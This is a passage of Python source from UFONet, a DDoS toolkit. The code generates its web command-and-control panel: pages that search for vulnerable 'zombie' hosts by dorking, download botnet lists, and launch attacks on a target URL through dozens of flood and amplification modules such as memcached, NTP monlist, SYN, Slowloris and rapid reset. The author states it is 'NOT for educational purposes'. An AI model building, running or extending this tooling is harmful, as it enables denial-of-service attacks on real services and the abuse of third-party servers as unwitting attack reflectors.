  3150. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  3151. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  3152. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  3153. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  3154. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  3155. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  3156. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  3157. </ul>
  3158. </div>
  3159. </td>
  3160. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  3161. </td></tr></table><br>
  3162. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br /><font color="yellow">w3ap0n1z1ng l33t/h4ckt1v1sts/cr4ck3rs/sK1ds...<br />&nbsp;&nbsp;4 pWn1ng c0rrupt$/g0vs/evilC0rps...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8======D&nbsp;&nbsp;<font color="red">$1nce: <b>2013</b></font> &lt;-</font><br /><br />
  3163. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  3164. <script type="text/javascript">
  3165. startTyping(text, 80, "tt");
  3166. </script><br />
  3167. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  3168. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  3169. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3170. }
  3171. function Missions() {
  3172. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3173. }
  3174. function Stats() {
  3175. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3176. }
  3177. function Browser() {
  3178. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3179. }
  3180. function Board() {
  3181. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3182. }
  3183. function Links() {
  3184. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3185. }
  3186. function Streams() {
  3187. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3188. }
  3189. function TV() {
  3190. var win_requests = window.open("tv","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  3191. }
  3192. function Grid() {
  3193. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3194. }
  3195. function Wargames() {
  3196. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3197. }
  3198. </script>
  3199. </head>
  3200. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3201. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3202. <center>
  3203. <table cellpadding="38" cellspacing="38">
  3204. <tr>
  3205. <td>
  3206. <div class="ringMenu">
  3207. <ul>
  3208. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  3209. <li class="top"><a href="botnet">Botnet</a></li>
  3210. <li class="right"><a href="explore">Explore</a></li>
  3211. <li class="bottom"><a href="attack">Attack</a></li>
  3212. <li class="left"><a href="globalnet">Globalnet</a></li>
  3213. </ul>
  3214. </div>
  3215. </td>
  3216. <td>
  3217. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  3218. <tr>
  3219. <td>
  3220. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> [ <b>C&C/DarkNET</b> ]
  3221. ------------------------------------
  3222. | <a href="/help" target="_blank">HELP</a> - <a href="/faq" target="_blank">F.A.Q.</a> | <a href="/shop" target="_blank">SHOP!</a> | <a href="/author" target="_blank">AUTHOR</a>
  3223. ------------------------------------<b>
  3224. """ + self.options.version + """</b>
  3225. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  3226. | <a href='javascript:runCommandX("cmd_view_changelog")'>LOG</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">C0DE</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">MIRROR</a> - <a href='"""+torrent_seed+"""' target="_blank">SEED</a> | <a href='javascript:runCommandX("cmd_check_tool")'>UPDATE!</a> |
  3227. -------------------------------------
  3228. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  3229. - Stats: <a href="/stats" target="_blank"><b>""" + str(self.mothership_model) + """</b></a>
  3230. - Ranking: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a><br>
  3231. - Proxy: <a href='javascript:runCommandX("cmd_check_tor")'><b>CHECK-TOR!</b></a><br>
  3232. - Chargo: <a href='javascript:runCommandX("cmd_list_army")'><b>"""+ self.total_botnet +"""</b></a><br>
  3233. - Nodes: <a href='javascript:runCommandX("cmd_list_nodes")'><b>"""+str(len(self.list_globalnet)+len(self.list_blackholes))+"""</b></a><br>
  3234. """+str(self.current_tasks)+"""</td>
  3235. <td>
  3236. <table>
  3237. <tr>
  3238. <td>
  3239. <table cellpadding="2" cellspacing="5">
  3240. <tr>
  3241. <td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="Browser()"><br><a href="javascript:Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="javascript:News()">SHIP.NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="javascript:Missions()">SHIP.MISSIONS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="TV()"><br><a href="javascript:TV()">SHIP.TV</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="javascript:Links()">GLOBAL.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="Streams()"><br><a href="javascript:Streams()">GLOBAL.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="javascript:Board()">GLOBAL.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"><br><a href="javascript:Grid()">GLOBAL.GRID</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"><br><a href="javascript:Wargames()">GLOBAL.WARGAMES</a>
  3242. </td></tr></table>
  3243. </tr>
  3244. </table>
  3245. </td>
  3246. </tr>
  3247. </table>
  3248. </td>
  3249. </tr>
  3250. </table><center><br><br>
  3251. <div id="cmdOut"></div>
  3252. """ + self.pages["/footer"]
  3253. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  3254. function Requests() {
  3255. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3256. }
  3257. function Maps() {
  3258. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  3259. win_map.resizeTo(screen.width,screen.height);
  3260. }
  3261. function Start(){
  3262. dork=document.getElementById("dork").value
  3263. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  3264. if (document.getElementById("autosearch").checked){
  3265. document.getElementById("autosearch").value = "on";
  3266. } else {
  3267. document.getElementById("autosearch").value = "off";
  3268. }
  3269. autosearch = document.getElementById("autosearch").value
  3270. if (document.getElementById("dork_list").checked){
  3271. document.getElementById("dork_list").value = "on";
  3272. } else {
  3273. document.getElementById("dork_list").value = "off";
  3274. }
  3275. dork_list = document.getElementById("dork_list").value
  3276. if(dork == "" && dork_list == "off" && autosearch == "off") {
  3277. window.alert("You need to enter a source for dorking...");
  3278. return
  3279. }else{
  3280. if (document.getElementById("all_engines").checked){
  3281. document.getElementById("all_engines").value = "on";
  3282. exclude_engines=document.getElementById("exclude_engines").value
  3283. } else {
  3284. document.getElementById("all_engines").value = "off";
  3285. }
  3286. all_engines = document.getElementById("all_engines").value
  3287. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  3288. runCommandX("cmd_search",params)
  3289. }
  3290. }
  3291. function Download_Botnet_IP(){
  3292. blackhole=document.getElementById("download_botnet_ip").value
  3293. params="blackhole="+escape(blackhole)
  3294. runCommandX("cmd_download_botnet_ip",params)
  3295. }
  3296. function showHide()
  3297. {
  3298. if(document.getElementById("dork_list").checked)
  3299. {
  3300. document.getElementById("dork_pattern").style.display = "none";
  3301. document.getElementById("autosearch_pattern").style.display = "none";
  3302. }
  3303. else {
  3304. document.getElementById("dork_pattern").style.display = "";
  3305. document.getElementById("autosearch_pattern").style.display = "";
  3306. }
  3307. }
  3308. function showHideEngines()
  3309. {
  3310. if(document.getElementById("all_engines").checked)
  3311. {
  3312. document.getElementById("s_engine").style.display = "none";
  3313. document.getElementById("sex_engine").style.display = "";
  3314. }
  3315. else {
  3316. document.getElementById("s_engine").style.display = "";
  3317. document.getElementById("sex_engine").style.display = "none";
  3318. }
  3319. }
  3320. function HideAll()
  3321. {
  3322. if(document.getElementById("autosearch").checked)
  3323. {
  3324. document.getElementById("s_engine").style.display = "none";
  3325. document.getElementById("dork_pattern").style.display = "none";
  3326. document.getElementById("list_pattern").style.display = "none";
  3327. document.getElementById("allengines_pattern").style.display = "none";
  3328. document.getElementById("all_engines").checked = false;
  3329. document.getElementById("dork_list").checked = false;
  3330. document.getElementById("dork").value = "";
  3331. }
  3332. else {
  3333. document.getElementById("s_engine").style.display = "";
  3334. document.getElementById("dork_pattern").style.display = "";
  3335. document.getElementById("list_pattern").style.display = "";
  3336. document.getElementById("allengines_pattern").style.display = "";
  3337. }
  3338. }
  3339. </script>
  3340. </head>
  3341. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3342. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3343. <center>
  3344. <table cellpadding="38" cellspacing="38">
  3345. <tr>
  3346. <td>
  3347. <div class="ringMenu">
  3348. <ul>
  3349. <li class="main"><a href="botnet">Botnet</a></li>
  3350. <li class="top"><a href="globalnet">Globalnet</a></li>
  3351. <li class="right"><a href="explore">Explore</a></li>
  3352. <li class="bottom"><a href="attack">Attack</a></li>
  3353. <li class="left"><a href="gui">RETURN</a></li>
  3354. </ul>
  3355. </div>
  3356. </td>
  3357. <td>
  3358. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3359. <tr><td>
  3360. <pre>
  3361. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3362. <form method='GET'><br><hr><br>Search Botnet:<br><div id="autosearch_pattern" style="display:block;">
  3363. * Search automatically (may take time!) <input type="checkbox" CHECKED id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:none;">
  3364. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="page.php?url="></div><div id="list_pattern" style="display:none;">
  3365. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:none;">
  3366. * Search using this search engine: <select id="engines_list">
  3367. <option value="duck" selected>duck</option>
  3368. <option value="bing">bing</option>
  3369. <option value="brave">brave</option>
  3370. <option value="mojeek">mojeek</option>
  3371. <option value="yahoo">yahoo</option>
  3372. <option value="startpage">startpage</option>
  3373. <option value="ecosia">ecosia</option>
  3374. </select></div><div id="allengines_pattern" style="display:none;">
  3375. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  3376. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  3377. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  3378. <br><hr>
  3379. <br>Download Botnet: <center><br><a href='javascript:runCommandX("cmd_list_nodes")'>LIST NODES</a> | <a href='javascript:runCommandX("cmd_download_nodes")'>TAKE ALL!</a> | <input type="text" name="download_botnet_ip" id="download_botnet_ip" size="20" value=''> <button title="Start to search for zombies..." style="color:yellow; height:40px; width:140px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Download_Botnet_IP()>TAKE IT!</button></center>
  3380. <hr>
  3381. Test Botnet: <center><br><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center>
  3382. <hr>
  3383. View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button></pre>
  3384. </td>
  3385. <td>
  3386. <table cellpadding="5" cellspacing="2">
  3387. <tr>
  3388. <td align="right">Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  3389. </tr>
  3390. <tr><td><hr></td></tr>
  3391. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  3392. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  3393. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  3394. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  3395. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  3396. <tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
  3397. <tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
  3398. <tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
  3399. <tr><td><hr></td></tr>
  3400. <tr>
  3401. <td align="right">GLOBAL.RADAR (nodes) = <b><font size='5' align="right"><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></b></td>
  3402. </tr>
  3403. <tr>
  3404. <td align="right">SHIP.WARPS (nodes) = <b><font size='5' align="right"><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></b></td>
  3405. </tr>
  3406. </table>
  3407. </table>
  3408. </td>
  3409. </tr></table>
  3410. <hr>
  3411. <div id="cmdOut"></div>
  3412. """ + self.pages["/footer"]
  3413. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  3414. function Requests() {
  3415. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3416. }
  3417. function DisableEmptyMods() {
  3418. var _x = new XMLHttpRequest();
  3419. _x.open("GET", "/cmd_mods_status", true);
  3420. _x.onreadystatechange = function(){
  3421. if(_x.readyState==4 && _x.status==200){
  3422. var parts = _x.responseText.split(" ");
  3423. for(var i=0;i<parts.length;i++){
  3424. var kv = parts[i].split("=");
  3425. if(kv.length!==2) continue;
  3426. var name = kv[0], n = parseInt(kv[1],10);
  3427. var el = document.getElementById(name);
  3428. if(!el) continue;
  3429. if(n>0){
  3430. el.disabled = false;
  3431. el.title = "Reflectors available: "+n;
  3432. el.style.background = "";
  3433. el.style.color = "";
  3434. } else {
  3435. el.disabled = true;
  3436. el.value = "";
  3437. el.title = "No real reflectors in botnet/"+(name=="tachyon"?"dns":(name=="monlist"?"ntp":(name=="sniper"?"snmp":name)))+".txt -> populate first";
  3438. el.style.background = "#222";
  3439. el.style.color = "#666";
  3440. el.placeholder = "n/a";
  3441. }
  3442. }
  3443. }
  3444. };
  3445. _x.send();
  3446. }
  3447. function ShowPanel() {
  3448. if (document.getElementById("extra_attack").checked){
  3449. document.getElementById("extra_panel").style.display = "block";
  3450. DisableEmptyMods();
  3451. document.getElementById("loic").value = "";
  3452. document.getElementById("loris").value = "";
  3453. document.getElementById("ufosyn").value = "";
  3454. document.getElementById("spray").value = "";
  3455. document.getElementById("smurf").value = "";
  3456. document.getElementById("xmas").value = "";
  3457. document.getElementById("nuke").value = "";
  3458. document.getElementById("tachyon").value = "";
  3459. document.getElementById("monlist").value = "";
  3460. document.getElementById("fraggle").value = "";
  3461. document.getElementById("sniper").value = "";
  3462. document.getElementById("ufoack").value = "";
  3463. document.getElementById("uforst").value = "";
  3464. document.getElementById("droper").value = "";
  3465. document.getElementById("overlap").value = "";
  3466. document.getElementById("pinger").value = "";
  3467. document.getElementById("ufoudp").value = "";
  3468. document.getElementById("memcached").value = "";
  3469. document.getElementById("chargen").value = "";
  3470. document.getElementById("cldap").value = "";
  3471. document.getElementById("ssdp").value = "";
  3472. document.getElementById("qotd").value = "";
  3473. document.getElementById("tftp").value = "";
  3474. document.getElementById("wsdisco").value = "";
  3475. document.getElementById("coap").value = "";
  3476. document.getElementById("mssql").value = "";
  3477. document.getElementById("arms").value = "";
  3478. document.getElementById("plex").value = "";
  3479. document.getElementById("netbios").value = "";
  3480. document.getElementById("ripv1").value = "";
  3481. document.getElementById("middlebox").value = "";
  3482. document.getElementById("rapidreset").value = "";
  3483. document.getElementById("slowread").value = "";
  3484. document.getElementById("goldeneye").value = "";
  3485. document.getElementById("finflood").value = "";
  3486. document.getElementById("dbstress").value = "";
  3487. } else {
  3488. document.getElementById("extra_panel").style.display = "none";
  3489. document.getElementById("loic").value = "";
  3490. document.getElementById("loris").value = "";
  3491. document.getElementById("ufosyn").value = "";
  3492. document.getElementById("spray").value = "";
  3493. document.getElementById("smurf").value = "";
  3494. document.getElementById("xmas").value = "";
  3495. document.getElementById("nuke").value = "";
  3496. document.getElementById("tachyon").value = "";
  3497. document.getElementById("monlist").value = "";
  3498. document.getElementById("fraggle").value = "";
  3499. document.getElementById("sniper").value = "";
  3500. document.getElementById("ufoack").value = "";
  3501. document.getElementById("uforst").value = "";
  3502. document.getElementById("droper").value = "";
  3503. document.getElementById("overlap").value = "";
  3504. document.getElementById("pinger").value = "";
  3505. document.getElementById("ufoudp").value = "";
  3506. document.getElementById("memcached").value = "";
  3507. document.getElementById("chargen").value = "";
  3508. document.getElementById("cldap").value = "";
  3509. document.getElementById("ssdp").value = "";
  3510. document.getElementById("qotd").value = "";
  3511. document.getElementById("tftp").value = "";
  3512. document.getElementById("wsdisco").value = "";
  3513. document.getElementById("coap").value = "";
  3514. document.getElementById("mssql").value = "";
  3515. document.getElementById("arms").value = "";
  3516. document.getElementById("plex").value = "";
  3517. document.getElementById("netbios").value = "";
  3518. document.getElementById("ripv1").value = "";
  3519. document.getElementById("middlebox").value = "";
  3520. document.getElementById("rapidreset").value = "";
  3521. document.getElementById("slowread").value = "";
  3522. document.getElementById("goldeneye").value = "";
  3523. document.getElementById("finflood").value = "";
  3524. document.getElementById("dbstress").value = "";
  3525. }
  3526. }
  3527. function Maps() {
  3528. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  3529. win_map.resizeTo(screen.width,screen.height);
  3530. }
  3531. function ShowModOnly() {
  3532. if (document.getElementById("mod_only").checked){
  3533. if (!document.getElementById("extra_attack").checked){
  3534. document.getElementById("extra_attack").checked = true;
  3535. ShowPanel();
  3536. }
  3537. }
  3538. }
  3539. function Start(){
  3540. document.getElementById("attack_button").text = "STOP!"
  3541. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  3542. target=document.getElementById("target").value
  3543. String.prototype.startsWith = function(prefix){
  3544. return this.indexOf(prefix) === 0;
  3545. }
  3546. if(target.startsWith("http")){
  3547. path=document.getElementById("path").value
  3548. rounds=document.getElementById("rounds").value
  3549. dbstress=document.getElementById("dbstress").value
  3550. loic=document.getElementById("loic").value
  3551. loris=document.getElementById("loris").value
  3552. ufosyn=document.getElementById("ufosyn").value
  3553. spray=document.getElementById("spray").value
  3554. smurf=document.getElementById("smurf").value
  3555. xmas=document.getElementById("xmas").value
  3556. nuke=document.getElementById("nuke").value
  3557. tachyon=document.getElementById("tachyon").value
  3558. monlist=document.getElementById("monlist").value
  3559. fraggle=document.getElementById("fraggle").value
  3560. sniper=document.getElementById("sniper").value
  3561. ufoack=document.getElementById("ufoack").value
  3562. uforst=document.getElementById("uforst").value
  3563. droper=document.getElementById("droper").value
  3564. overlap=document.getElementById("overlap").value
  3565. pinger=document.getElementById("pinger").value
  3566. ufoudp=document.getElementById("ufoudp").value
  3567. memcached=document.getElementById("memcached").value
  3568. chargen=document.getElementById("chargen").value
  3569. cldap=document.getElementById("cldap").value
  3570. ssdp=document.getElementById("ssdp").value
  3571. qotd=document.getElementById("qotd").value
  3572. tftp=document.getElementById("tftp").value
  3573. wsdisco=document.getElementById("wsdisco").value
  3574. coap=document.getElementById("coap").value
  3575. mssql=document.getElementById("mssql").value
  3576. arms=document.getElementById("arms").value
  3577. plex=document.getElementById("plex").value
  3578. netbios=document.getElementById("netbios").value
  3579. ripv1=document.getElementById("ripv1").value
  3580. middlebox=document.getElementById("middlebox").value
  3581. rapidreset=document.getElementById("rapidreset").value
  3582. slowread=document.getElementById("slowread").value
  3583. goldeneye=document.getElementById("goldeneye").value
  3584. finflood=document.getElementById("finflood").value
  3585. mod_only=document.getElementById("mod_only").checked?"on":"off"
  3586. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp || memcached || chargen || cldap || ssdp || qotd || tftp || wsdisco || coap || mssql || arms || plex || netbios || ripv1 || middlebox || rapidreset || slowread || finflood){ // root required!
  3587. window.alert("You need 'root' access! A shell prompt will appear; enter your sudo password to continue.");
  3588. }
  3589. if(mod_only=="on" && !(loic || loris || ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp || memcached || chargen || cldap || ssdp || qotd || tftp || wsdisco || coap || mssql || arms || plex || netbios || ripv1 || middlebox || rapidreset || slowread || goldeneye || finflood || dbstress)){
  3590. window.alert("Mod-only mode requires at least one Extra(s) attack.");
  3591. return
  3592. }
  3593. var _qs = "mod_only="+escape(mod_only)
  3594. +"&dbstress="+escape(dbstress)
  3595. +"&loic="+escape(loic)+"&loris="+escape(loris)+"&slowread="+escape(slowread)+"&goldeneye="+escape(goldeneye)+"&rapidreset="+escape(rapidreset)+"&finflood="+escape(finflood)
  3596. +"&ufosyn="+escape(ufosyn)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
  3597. +"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&fraggle="+escape(fraggle)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&sniper="+escape(sniper)
  3598. +"&memcached="+escape(memcached)+"&chargen="+escape(chargen)+"&cldap="+escape(cldap)+"&ssdp="+escape(ssdp)+"&qotd="+escape(qotd)+"&tftp="+escape(tftp)+"&wsdisco="+escape(wsdisco)+"&coap="+escape(coap)+"&mssql="+escape(mssql)+"&arms="+escape(arms)+"&plex="+escape(plex)+"&netbios="+escape(netbios)+"&ripv1="+escape(ripv1)+"&middlebox="+escape(middlebox);
  3599. var _check = new XMLHttpRequest();
  3600. _check.open("GET", "/cmd_army_check?"+_qs, false);
  3601. _check.send(null);
  3602. if(_check.status==200 && _check.responseText.indexOf("err=")===0){
  3603. window.alert("Pre-flight check FAILED:\\n\\n"+_check.responseText.substring(4)+"\\n\\nSearch via dorking (zombies / open redirects):\\n ./ufonet -s 'page.php?url='\\n ./ufonet --auto-search\\n\\nOr scan your authorized scope for amp reflectors (memcached UDP/11211, ssdp UDP/1900, etc.) and add the real IPs to the corresponding botnet/<mod>.txt files.\\n\\nMods that hit the target directly from your IP/network (LOIC, LORIS, SLOWREAD, GOLDENEYE, RAPIDRESET, UFOSYN, NUKE, XMAS, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP, FINFLOOD) do NOT need any botnet file.");
  3604. return
  3605. }
  3606. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&mod_only="+escape(mod_only)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)+"&memcached="+escape(memcached)+"&chargen="+escape(chargen)+"&cldap="+escape(cldap)+"&ssdp="+escape(ssdp)+"&qotd="+escape(qotd)+"&tftp="+escape(tftp)+"&wsdisco="+escape(wsdisco)+"&coap="+escape(coap)+"&mssql="+escape(mssql)+"&arms="+escape(arms)+"&plex="+escape(plex)+"&netbios="+escape(netbios)+"&ripv1="+escape(ripv1)+"&middlebox="+escape(middlebox)+"&rapidreset="+escape(rapidreset)+"&slowread="+escape(slowread)+"&goldeneye="+escape(goldeneye)+"&finflood="+escape(finflood)
  3607. if (document.getElementById("visual_attack").checked){
  3608. document.getElementById("visual_attack").value = "on";
  3609. } else {
  3610. document.getElementById("visual_attack").value = "off";
  3611. }
  3612. }else{
  3613. window.alert("You need to enter a valid url: http(s)://target.com");
  3614. return
  3615. }
  3616. if(document.getElementById("visual_attack").value=="on"){
  3617. Maps()
  3618. }
  3619. runCommandX("cmd_attack",params)
  3620. }
  3621. </script>
  3622. </head>
  3623. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3624. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3625. <center>
  3626. <table cellpadding="38" cellspacing="38">
  3627. <tr>
  3628. <td>
  3629. <div class="ringMenu">
  3630. <ul>
  3631. <li class="main"><a href="attack">Attack</a></li>
  3632. <li class="top"><a href="globalnet">Globalnet</a></li>
  3633. <li class="right"><a href="botnet">Botnet</a></li>
  3634. <li class="bottom"><a href="explore">Explore</a></li>
  3635. <li class="left"><a href="gui">RETURN</a></li>
  3636. </ul>
  3637. </div>
  3638. </td>
  3639. <td>
  3640. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3641. <tr><td>
  3642. <pre>
  3643. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+"> <input type="checkbox" name="mod_only" id="mod_only" title="Mod-only (-m): launch Extra(s) without zombies / open-redirect" onclick='javascript:ShowModOnly();'> Mod-only
  3644. Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  3645. Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  3646. <hr>
